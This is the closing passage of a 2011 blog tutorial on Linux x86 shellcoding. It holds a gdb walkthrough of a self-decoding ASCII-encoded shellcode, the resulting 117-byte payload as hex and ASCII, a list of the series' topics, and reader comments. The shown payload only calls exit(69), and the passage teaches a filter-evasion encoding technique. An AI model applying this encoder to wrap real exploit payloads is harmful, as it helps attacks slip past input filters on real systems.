    (gdb) break *0x080483d3
    Breakpoint 2 at 0x80483d3
    (gdb) continue
    Continuing.
    
    Breakpoint 2, 0x080483d3 in call_shellcode ()
    (gdb) stepi
    0xbf992d88 in ?? ()
    (gdb) x/7i $eip
    0xbf992d88:     push   %esp
    0xbf992d89:     pop    %eax
    0xbf992d8a:     sub    $0x5555552a,%eax
    0xbf992d8f:     sub    $0x5555552a,%eax
    0xbf992d94:     sub    $0x5555552a,%eax
    0xbf992d99:     push   %eax
    0xbf992d9a:     pop    %esp
    (gdb) i r esp eip
    esp            0xbf992d6c       0xbf992d6c
    eip            0xbf992d88       0xbf992d88
    (gdb) print /x 0xbf992d6c - 0xbf992d88
    $1 = 0xffffffe4
    (gdb) print /d (signed int)0xffffffe4
    $2 = -28
    (gdb) # At this time, EIP is greater than ESP, so we would never reach our shellcode.
    (gdb) # Hence we need to make ESP greater than EIP.
    (gdb) nexti
    0xbf992d89 in ?? ()
    (gdb) nexti
    0xbf992d8a in ?? ()
    (gdb) i r esp eax
    esp            0xbf992d6c       0xbf992d6c
    eax            0xbf992d6c       -1080480404
    (gdb) # We grabbed ESP into EAX
    (gdb) nexti
    0xbf992d8f in ?? ()
    (gdb) nexti
    0xbf992d94 in ?? ()
    (gdb) nexti
    0xbf992d99 in ?? ()
    (gdb) i r esp eax
    esp            0xbf992d6c       0xbf992d6c
    eax            0xbf992dee       -1080480274
    (gdb) print /d 0xbf992dee - 0xbf992d6c
    $3 = 130
    (gdb) # now EAX is equal ESP+130
    (gdb) nexti
    0xbf992d9a in ?? ()
    (gdb) nexti
    0xbf992d9b in ?? ()
    (gdb) i r eax esp
    eax            0xbf992dee       -1080480274
    esp            0xbf992dee       0xbf992dee
    (gdb) # Now we replaced ESP with EAX, making room for our shellcode
    (gdb) # Check address of last executed instruction: 0xbf992d9b
    (gdb) print /d 0xbf992dee - 0xbf992d9b
    $4 = 83
    (gdb) # We are 83 bytes before where our decoded shellcode will be written
    (gdb) x/5i $eip
    0xbf992d9b:     and    $0x33333333,%eax
    0xbf992da0:     and    $0x44444444,%eax
    0xbf992da5:     sub    $0x40195f26,%eax
    0xbf992daa:     sub    $0x3f195b27,%eax
    0xbf992daf:     push   %eax
    (gdb) nexti
    0xbf992da0 in ?? ()
    (gdb) nexti
    0xbf992da5 in ?? ()
    (gdb) nexti
    0xbf992daa in ?? ()
    (gdb) nexti
    0xbf992daf in ?? ()
    (gdb) i r eax
    eax            0x80cd45b3       -2134030925
    (gdb) x/4x $esp
    0xbf992dee:     0x41414168      0x41416841      0x41684141      0x83414141
    (gdb) nexti
    0xbf992db0 in ?? ()
    (gdb) x/4x $esp
    0xbf992dea:     0x80cd45b3      0x41414168      0x41416841      0x41684141
    (gdb) # ESP now points to 1st block of our shellcode
    (gdb) x/5i $eip
    0xbf992db0:     and    $0x33333333,%eax
    0xbf992db5:     and    $0x44444444,%eax
    0xbf992dba:     sub    $0x12696120,%eax
    0xbf992dbf:     sub    $0x12655e20,%eax
    0xbf992dc4:     push   %eax
    (gdb) nexti
    0xbf992db5 in ?? ()
    (gdb) nexti
    0xbf992dba in ?? ()
    (gdb) nexti
    0xbf992dbf in ?? ()
    (gdb) nexti
    0xbf992dc4 in ?? ()
    (gdb) nexti
    0xbf992dc5 in ?? ()
    (gdb) x/4x $esp
    0xbf992de6:     0xdb3140c0      0x80cd45b3      0x41414168      0x41416841
    (gdb) # ESP now points to 2nd block
    (gdb) x/5i $eip
    0xbf992dc5:     and    $0x33333333,%eax
    0xbf992dca:     and    $0x44444444,%eax
    0xbf992dcf:     sub    $0x69616060,%eax
    0xbf992dd4:     sub    $0x655d5d5d,%eax
    0xbf992dd9:     push   %eax
    (gdb) nexti
    0xbf992dca in ?? ()
    (gdb) nexti
    0xbf992dcf in ?? ()
    (gdb) nexti
    0xbf992dd4 in ?? ()
    (gdb) nexti
    0xbf992dd9 in ?? ()
    (gdb) nexti
    0xbf992dda in ?? ()
    (gdb) x/4x $esp
    0xbf992de2:     0x31414243      0xdb3140c0      0x80cd45b3      0x41414168
    (gdb) # And now ESP points to 3rd block
    (gdb) x/8i $esp
    0xbf992de2:     inc    %ebx
    0xbf992de3:     inc    %edx
    0xbf992de4:     inc    %ecx
    0xbf992de5:     xor    %eax,%eax
    0xbf992de7:     inc    %eax
    0xbf992de8:     xor    %ebx,%ebx
    0xbf992dea:     mov    $0x45,%bl
    0xbf992dec:     int    $0x80
    (gdb) # There is our padding instructions + decoded shellcode, right on ESP
    (gdb) i r esp eip
    esp            0xbf992de2       0xbf992de2
    eip            0xbf992dda       0xbf992dda
    (gdb) print /d 0xbf992de2 - 0xbf992dda
    $5 = 8
    (gdb) # ESP (shellcode) is 8 bytes ahead
    (gdb) x/8i $eip
    0xbf992dda:     push   $0x41414141
    0xbf992ddf:     push   $0x42434141
    0xbf992de4:     inc    %ecx
    0xbf992de5:     xor    %eax,%eax
    0xbf992de7:     inc    %eax
    0xbf992de8:     xor    %ebx,%ebx
    0xbf992dea:     mov    $0x45,%bl
    0xbf992dec:     int    $0x80
    (gdb) # You can see some of our NOP instructions here. These pushs will add 8 new NOPs before shellcode (because it change value of ESP)
    (gdb) nexti
    0xbf992ddf in ?? ()
    (gdb) # First push
    (gdb) nexti
    0xbf992de0 in ?? ()
    (gdb) # Second push
    (gdb) x/16i $esp
    0xbf992dde:     inc    %ecx
    0xbf992ddf:     inc    %ecx
    0xbf992de0:     inc    %ecx
    0xbf992de1:     inc    %ecx
    0xbf992de2:     inc    %ebx
    0xbf992de3:     inc    %edx
    0xbf992de4:     inc    %ecx
    0xbf992de5:     xor    %eax,%eax
    0xbf992de7:     inc    %eax
    0xbf992de8:     xor    %ebx,%ebx
    0xbf992dea:     mov    $0x45,%bl
    0xbf992dec:     int    $0x80
    0xbf992dee:     push   $0x41414141
    0xbf992df3:     push   $0x41414141
    0xbf992df8:     push   $0x41414141
    0xbf992dfd:     addl   $0xfffffff4,(%eax,%ecx,1)
    (gdb) # We can wee our NOPs, followed by shellcode and followed by those padding instructions
    (gdb) # I'll let the flow continue from here
    (gdb) continue
    Continuing.
    
    Program exited with code 0105.
    (gdb) print /d 0105
    $6 = 69
    (gdb) # As promised, exit(69) was successfully executed ;).
    (gdb) quit
    waKKu@0xcd80$
    
    

    And for last but not least, a “cat” of our shellcode ;)

    waKKu@0xcd80$ ./makesc.sh mathmagic.o ascii_shellcode.bin
    ShellCode is clean (0 nulls)
    "\x54\x58\x2d\x2a\x55\x55\x55\x2d\x2a\x55\x55\x55\x2d\x2a\x55\x55"
    "\x55\x50\x5c\x25\x33\x33\x33\x33\x25\x44\x44\x44\x44\x2d\x26\x5f"
    "\x19\x40\x2d\x27\x5b\x19\x3f\x50\x25\x33\x33\x33\x33\x25\x44\x44"
    "\x44\x44\x2d\x20\x61\x69\x12\x2d\x20\x5e\x65\x12\x50\x25\x33\x33"
    "\x33\x33\x25\x44\x44\x44\x44\x2d\x60\x60\x61\x69\x2d\x5d\x5d\x5d"
    "\x65\x50\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41"
    "\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41"
    "\x68\x41\x41\x41\x41"
    
    ShellCode generated to file: ascii_shellcode.bin
    ShellCode Size: 117 bytes
    NULL Bytes Found: 0
    waKKu@0xcd80$ cat ascii_shellcode.bin | wc -c
    117
    waKKu@0xcd80$ cat ascii_shellcode.bin
    TX-*UUU-*UUU-*UUUP\%3333%DDDD-&_@-'[?P%3333%DDDD- ai- ^eP%3333%DDDD-``ai-]]]ePhAAAAhAAAAhAAAAhAAAAhAAAAhAAAAhAAAA
    

    Thanks for reading… :)

    Summary:
    Linux x86 ShellCodes 101 – Objective: Topics introduction and exit(69) shellcode
    Linux x86 ShellCodes 102 – Objective: execve() shellcode & push strings technique.
    Linux x86 ShellCodes 103 – Objective: Add a new ‘root’ user in system & CALL+POP technique.
    Linux x86 ShellCodes 104 – ASCII Encoding and a Self-Decoder Shellcode
    Linux x86 ShellCodes 105 – The (Easter) EggHunting Game (EggHunter Shellcode)
    Linux x86 ShellCodes 106 – ???? Suggestions?? Venetian Shellcode???

    waKKu

    Advertisements

    Posted April 29, 2011 by waKKu in Assembly, Exploiting, Programming, Security, Shellcoding

    2 responses to “Linux x86 Shellcoding – 104

    Subscribe to comments with RSS.

    1. Voçê vai fazer a versão em portugues também ?

      • Então, eu tirei a versao em pt-br do blog pq ela tava muito confusa e com algumas falhas… Quando der tempo eu arrumo ela e posto de novo…

    Leave a Reply

    Fill in your details below or click an icon to log in:

    WordPress.com Logo

    You are commenting using your WordPress.com account. Log Out / Change )

    Twitter picture

    You are commenting using your Twitter account. Log Out / Change )

    Facebook photo

    You are commenting using your Facebook account. Log Out / Change )

    Google+ photo

    You are commenting using your Google+ account. Log Out / Change )

    Connecting to %s

    %d bloggers like this: